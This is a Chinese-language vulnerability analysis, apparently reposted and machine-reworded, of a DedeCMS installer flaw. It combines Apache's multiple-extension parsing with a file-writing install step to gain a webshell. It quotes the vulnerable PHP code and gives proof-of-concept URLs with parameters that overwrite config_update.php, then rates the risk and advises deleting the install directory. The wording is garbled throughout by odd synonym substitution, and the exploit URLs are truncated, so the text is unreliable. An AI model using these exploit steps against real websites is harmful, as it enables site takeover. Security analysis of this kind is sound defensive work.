Dedecms远程控制写文档系统漏洞剖析

2021-01-31 03:40| 发布者: | 查看: |

Dedecms远程控制写文档系统漏洞剖析 2018-08-21 创作者:方式高新科技 | 关心度:219 | 来源于:
这一系统漏洞关键由2个缘故造成的,在其中最大要的一个缘故,就是开发设计者沒有了解到Apache网络服务器分析文档的步骤,进而造成安裝文档在安裝后竟然能够被再次浏览。这儿接单子表述下Apache分析文档的步骤:
  当Apache检验到一个文档有好几个拓展名时,如1.php.bak,会从右向左分辨,直至有一个Apache了解的拓展名。假如全部的拓展名Apache也不了解,那麼变会依照httpd.conf配备中常特定的方法展现这一难题,一般默认设置状况下是 text/plain 这类方法。
  那麼那样得话,像1.php.bak那样的文档名便会被作为php文档所分析。这也便是传说故事中的Apache分析系统漏洞。
掌握了Apache分析系统漏洞,.bak文档编码,难题编码以下:
[php]
else if($step==11)
{
require_once( ../data/ );
$rmurl = $updateHost. dedecms/demodata.{$s_lang}.txt
echo $rmurl;
$sql_content = file_get_contents($rmurl);
$fp = fopen($install_demo_name, w );
if(fwrite($fp,$sql_content))
echo   [ ] 存有(您能够挑选安裝开展感受)
else
echo   [ ] 远程控制获得不成功
unset($sql_content);
fclose($fp);
exit();
[/php]
掌握Dedecms主要参数体制的同学们都了解,编码中的一些自变量大家是能够根据GET主要参数的方法开展操纵的。那麼上边编码很显著,能够向特定的文档内载入随意內容,进而造成获得webshell。
0 02 系统漏洞运用
从编码中大家能看到在step=11中,先包括了data/文档,这文档中特定了updataHost自变量的值,那样看来好像大家沒有方法来向特定写內容。可是假如大家特定install_demo_name是config_update.php文档这一文档,而且內容是一个404文档,会导致甚么实际效果呢?
大家先到访问这一url:.bak?step=11 insLockfile=a s_lang=a install_demo_name=../data/
这会让编码到base-v57/dedecms/demodata.a.txt中取內容载入到config_update.php,demodata.a.txt以下图:
demodata.a.txt
浏览PoC以后config_update.php文档內容以下图:
config_update.php
那样updataHost自变量值便沒有被原始化了,以后大家想写甚么便可以些甚么了。这儿大家用下边的这一url做检测:.bak?step=11 insLockfile=a s_lang=a install_demo_name=../ updateHost=
,实际效果以下图:
payload
0 03 系统漏洞小结
系统漏洞总结
  危害范畴本人点评为 高 ,Dedecms在中国应用范畴较广,各种各样中小型型网站,政府部门网站全是用它构建的。
  伤害性本人点评为 高 ,此系统漏洞在Apache默认设置自然环境下,就可以获得webshell,伤害非常大。
安全防护计划方案
在安裝进行后清除install文件目录。
<
>

 
QQ在线咨询
售前咨询热线
18720358503
售后服务热线
18720358503
返回顶部